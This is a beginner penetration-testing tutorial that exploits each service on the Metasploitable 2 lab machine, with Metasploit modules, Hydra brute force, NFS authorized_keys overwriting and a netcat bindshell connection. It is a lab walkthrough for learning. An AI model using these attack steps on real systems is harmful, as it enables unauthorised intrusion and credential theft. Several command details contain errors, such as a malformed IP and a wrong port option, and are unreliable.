Penetration Testing Skills Practice with Metasploitable (Beginner Guide)

If you’ve ever tried to learn about pentesting you would have come across Metasploitable in one way or another. In this article we will be exploiting all the services running in Metasploitable 2, so without further ado, let’s dive in.

Table of Content

§  Network Scan

§  Exploiting Port 21 FTP (Hydra)

§  Exploiting VSFTPS 2.3.4

§  Exploiting Port 22 SSH

§  Bruteforce Port 22 SSH (RSA Method)

§  Exploiting port 23 TELNET (Credential Capture)

§  Exploiting TELNET (Bruteforce)

§  Port 25 SMTP User Enumeration

§  Exploiting Port 80 (PHP)

§  Exploiting Port 139 & 445 (Samba)

§  Exploiting Port 8080 (Java)

§  Exploiting Port 5432 (Postgres)

§  Exploiting Port 6667 (UnrealIRCD)

§  Exploiting Port 36255

§  Remote Login Exploitation

§  Remote Shell Exploitation

§  Exploiting Port 8787

§  Bindshell

§  Exploiting Port 5900 (VNC)

§  Access Port 2121 (ProFTPD)

§  Exploiting Port 8180 (Apache Tomcat)

§  Privilege Escalation via NFS

§  Exploiting Port 3306 (MYSQL)

Network Scan

The first step towards doing what we want to achieve is a service scan that looks at all the 65535 ports of Metasploitable 2 to see what’s running where and with what version. You will notice the result in the image below.

nmap -p- -sV 192.168.1.103

Exploiting Port 21: FTP

We have all our ports and services listed now, let’s start by Exploiting port 21 running FTP. We will be using Hydra for this. The two wordlists for this operation will have default login names and passwords.

Hydra shows us that we have 4 valid login ID’s and passwords.

hydra -L user.txt -P pass.txt 192.168.1.103 ftp

Let’s put our findings to use and try to connect using ftp.

ftp 192.168.1.103

 

Exploiting VSFTPS 2.3.4

We have exploited the service running on port 21, now we will exploit the particular version of the FTP service. We will be searching for an exploit for VSFTPD 2.3.4 using Searchsploit.

searchsploit vsftpd

We now have our exploit, let’s get into Metasploit and run it.

This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.

msf > use exploit/unix/ftp/vsftpd_234_backdoor

msf exploit (unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.1.103

msf exploit (unix/ftp/vsftpd_234_backdoor) > exploit

And as you can observe, we have owned command shell of remote machine.

Exploiting Port 22 SSH

Metasploit has an auxiliary function that we will use on the SSH service running on port 22. One we get our session through it we will be upgrading it to Meterpreter.

This module will test ssh logins on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.

msf > use auxiliary/scanner/ssh/ssh_login

msf auxiliary (scanner/ssh/ssh_login) > set rhosts 192.168.1.103

msf auxiliary (scanner/ssh/ssh_login) > set user_file /root/Desktop/user.txt

msf auxiliary (scanner/ssh/ssh_login) > set pass_file /root/Desktop/pass.txt

msf auxiliary (scanner/ssh/ssh_login) > exploit

And as you can observe, again we have owned command shell of remote machine.

Bruteforce Port 22 SSH (RSA Method)

This time we will bruteforce the SSH service using a 5720.py exploit. The exploit comes with RSA keys that it used to bruteforce the root login. We will basically be running the exploit by giving it the the path to the RSA keys we want to use and the IP of the target machine. Here’s how it works.

python 5720.py 5622/rsa/2048/ 192.168.1.103 root

Success! It finds the right key pretty quick and gives the exact command to execute to get a successful connection.

Exploiting port 23 TELNET (Credential Capture)

We are using Wireshark to capture the TCP traffic, it is set to run in the background while we connect to Metasploitable 2 through telent using “msfadmin” as credentials for user name and password.

telnet 192.168.1.103

Once successfully connected we go back to Wireshark. Now we click the “TCP Stream” option under Analyze > Follow. This shows us the login credentials in plain text.

Exploiting TELNET

This module will test a telnet login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access. The same password and user file from earlier will be used for this.

msf > use auxiliary/scanner/telnet/telnet_login

msf auxiliary (scanner/telnet/telnet_login) > set rhosts 192.168.1.103

msf auxiliary (scanner/telnet/telnet_login) > set user_file /root/Desktop/user.txt

msf auxiliary (scanner/telnet/telnet_login) > set pass_file /root/Desktop/pass.txt

msf auxiliary (scanner/telnet/telnet_login) > set stop_on_success true

msf auxiliary (scanner/telnet/telnet_login) > exploit

Port 25 SMTP User Enumeration

Kali comes with a tool called “Smtp-User-Enum”, it’s has multiple modes that deal with different facets of SMTP, we will be using it to verify which SMTP usernames exist in victim machine.

We will see that the tool lets us know which all usernames exist that I have saved in my user.txt file.

smtp-user-enum -M VRFY -U user.txt -t 192.168.1.103

Exploiting Port 80 (PHP_CGI)

We know that port 80 is open so we type in the IP address of Metasploitable 2 in our browser and notice that it is running PHP. We dig a little further and find which version of PHP is running and also that it is being run as a CGI. We will now exploit the argument injection vulnerability of PHP 2.4.2 using Metasploit.

When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. From the advisory: "if there is NO unescaped '=' in the query string, the string is split on '+' (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the "encoded in a system-defined manner" from the RFC) and then passes them to the CGI binary." This module can also be used to exploit the plesk 0day disclosed by kingcope and exploited in the wild on June 2013.

msf > use exploit/multi/http/php_arg_injection

msf exploit (multi/http/php_arg_injection) > set rhost 192.168.1.103

msf exploit (multi/http/php_arg_injection) > exploit

Exploiting Port 139 & 445 (Samba)

Samba is running on both port 139 and 445, we will be exploiting it using Metasploit. The default port for this exploit is set to port 139 but it can be changed to port 445 as well.

msf > use exploit/multi/samba/usermap_script

msf exploit (multi/samba/usermap_script) > set rhost 192.168.1.103

msf exploit (multi/samba/usermap_script) > exploit

Exploiting Port 8080 (Java)

This module takes advantage of the default configuration of the RMI Registry and RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since those do not support remote class loading, unless another RMI endpoint is active in the same Java process. RMI method calls do not support or require any sort of authentication.

We will be using the Remote Method Invocation exploit on the Java service running on port 8080. It’s quite straight forward, just choose the exploit, set the target machine IP and that’s it.

msf > use exploit/multi/misc/java_rmi_server

msf exploit (multi/misc/java_rmi_server) > set rhost 192,168.1.103

msf exploit (multi/misc/java_rmi_server) > exploit

Exploiting Port 5432 (Postgres)

Postgres is associated with SQL is runs on port 5432 and we have a great little exploit that can be used here.

On some default Linux installations of PostgreSQL, the postgres service account may write to the /tmp directory, and may source UDF Shared Libraries from there as well, allowing execution of arbitrary code. This module compiles a Linux shared object file, uploads it to the target host via the UPDATE pg_largeobject method of binary injection, and creates a UDF (user defined function) from that shared object. Because the payload is run as the shared object's constructor, it does not need to conform to specific Postgres API versions.

msf > use exploit/linux/postgres/postgres_payload

msf exploit (linux/postgres/postgres_payload) > set rhost 192.168.1.103

msf exploit (linux/postgres/postgres_payload) > exploit

Exploiting Port 6667 (UnrealIRCD)

Port 6667 has the Unreal IRCD service running, we will exploit is using a backdoor that’s available in Metasploit.

This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor

msf exploit (unix/irc/unreal_ircd_3281_backdoor) > set rhost 192.168.1.103

msf exploit (unix/irc/unreal_ircd_3281_backdoor) > exploit

Exploiting Port 36255

This is a weakness that allows arbitrary commands on systems running distccd. We will be using Distcc Daemon Command Execution. This module uses a documented security weakness to execute arbitrary commands on any system running distccd.

msf > use exploit/unix/misc/distcc_exec

msf exploit (unix/misc/distcc_exec) > set rhost 192.168.1.103

msf exploit (unix/misc/distcc_exec) > exploit

Remote Login Exploitation

Remote login is a tool that was used before ssh came into the picture. Since we have the login credentials for Metasploitable 2, we will be using Rlogin to connect to it, using the “-l” flag to define the login name.

rlogin -l msfadmin 192.168.1.103

Metasploit has a module in its auxiliary section that we can use to get into the rlogin.

msf > use auxiliary/scanner/rservices/rlogin_login

msf auxiliary (scanner/rservices/rlogin_login) > set rhosts 192.168.1.103

msf auxiliary (scanner/rservices/rlogin_login) > set username root

msf auxiliary (scanner/rservices/rlogin_login) > exploit

Remote Shell Exploitation

Remote shell Protocol is another way to gain remote shell, it is a legitimate service that we will use to access the target machine with login credentials to run a certain command.

rsh -l msfadmin 192.168.1.103 ifconfig

Exploiting Distributed Ruby Remote Code Execution (8787)

Now that we know that this service is running successfully, let’s try to exploit it using Metasploit.

This module exploits remote code execution vulnerabilities in dRuby.

msf > use exploit/linux/misc/drb_remote_codeexec

msf exploit (linux/misc/drb_remote_code) > set rhost 192.168.1.103

msf exploit (linux/misc/drb_remote_code) > exploit

Bindshell Exploitation

Metasploitable 2 comes with an open bindshell service running on port 1524. We will be using Netcat to connect to it.

nc 192.168.1.103 1524

Exploiting Port 5900 (VNC)

Virtual Network computing or VNC service runs on port 5900, this service can be exploited using a module in Metasploit to find the login credentials.

This module will test a VNC server on a range of machines and report successful logins. Currently it supports RFB protocol version 3.3, 3.7, 3.8 and 4.001 using the VNC challenge response authentication method.

msf > use auxiliary/scanner/vnc/vnc_login

msf auxiliary (scanner/vnc/vnc_login) > set login 192.168.1.103

msf auxiliary (scanner/vnc/vnc_login) > exploit

Let’s put what we’ve found to the test by connecting using the vncviewer

vncviewer 192.168.1.103

The credentials work and we have a remote desktop session that pops up in Kali.

Access Port 2121 (ProFTPD)

We will connect to the target machine using Telnet running on port 2121 using the default credentials for Metasplotable 2.

telnet 192.168.1.103 2121

Exploiting Port 8180 (Apache Tomcat)

We saw during the service scan that Apache Tomcat is running on port 8180.  Incidentally, Metasploit has an exploit for Tomcat that we can use to get a Meterpreter session. The exploit uses the default credentials used by Tomcat to gain access.

This module can be used to execute a payload on Apache Tomcat servers that have an exposed "manager" application. The payload is uploaded as a WAR archive containing a jsp application using a POST request against the /manager/html/upload component. NOTE: The compatible payload sets vary based on the selected target. For example, you must select the Windows target to use native Windows payloads.

msf > use exploit/multi/http/tomcat_mgr_upload

msf exploit (multi/http/tomcat_mgr_upload) > set rhost 192.168.1.103

msf exploit (multi/http/tomcat_mgr_upload) > set rpost 8108

msf exploit (multi/http/tomcat_mgr_upload) > set httpusername tomcat

msf exploit (multi/http/tomcat_mgr_upload) > set httppassword tomcat

msf exploit (multi/http/tomcat_mgr_upload) > exploit 

Privilege Escalation via Port 2049: NFS

In this method we will be creating a ssh key without a passphrase and exchanging it with the ssh key of the victim machine for the root user.

First, we use ssh-keygen to generate a RSA keypair without a key phrase, then we place it in the “/root/.ssh” folder where the key is found by default.  Once the key is created and placed, we will create a directory “/tmp/sshkey/” in our local machine.

The next part is a little tricky, we will be mounting the directory we just made on the victim machine using the Network File Sharing Function. Once mounted we write the key from our machine to the victim’s machine, a sort of an override, using the cat command. The thing to keep in mind here is that the key we have is without a passphrase so the after the override the key in the victim machine is also without a passphrase, so when it is connected using ssh, it’s using a blank password.

The key is now copied so we unmount the directory and connect as the root user using ssh.

showmount -e 192.168.1.103

ssh-keygen

mkdir /tmp/sshkey

mount -t nfs 192.168.1.103:/ /tmp/sshkey/

cat ~/ .ssh/id_rsa.pub >>/tmp/sshkey/root/ .ssh/authorized_keys

umount /tmp/sshkey

ssh root@192.168.1.103

Exploiting Port 3306 (MYSQL)

The mySQL database in Metasploitable 2 has negligible security, we will connect to it using the mySQL function of Kali by defining the username and host IP. The password will be left blank.

mysql -u root -h 192.168.1.103 -p

 

This article is a gateway into the world of pentesting. Its intent is to give you a single source containing all the ways and means to exploit all the vulnerabilities of Metasploiable 2 classified by port’s and services, it doesn’t get any better than this.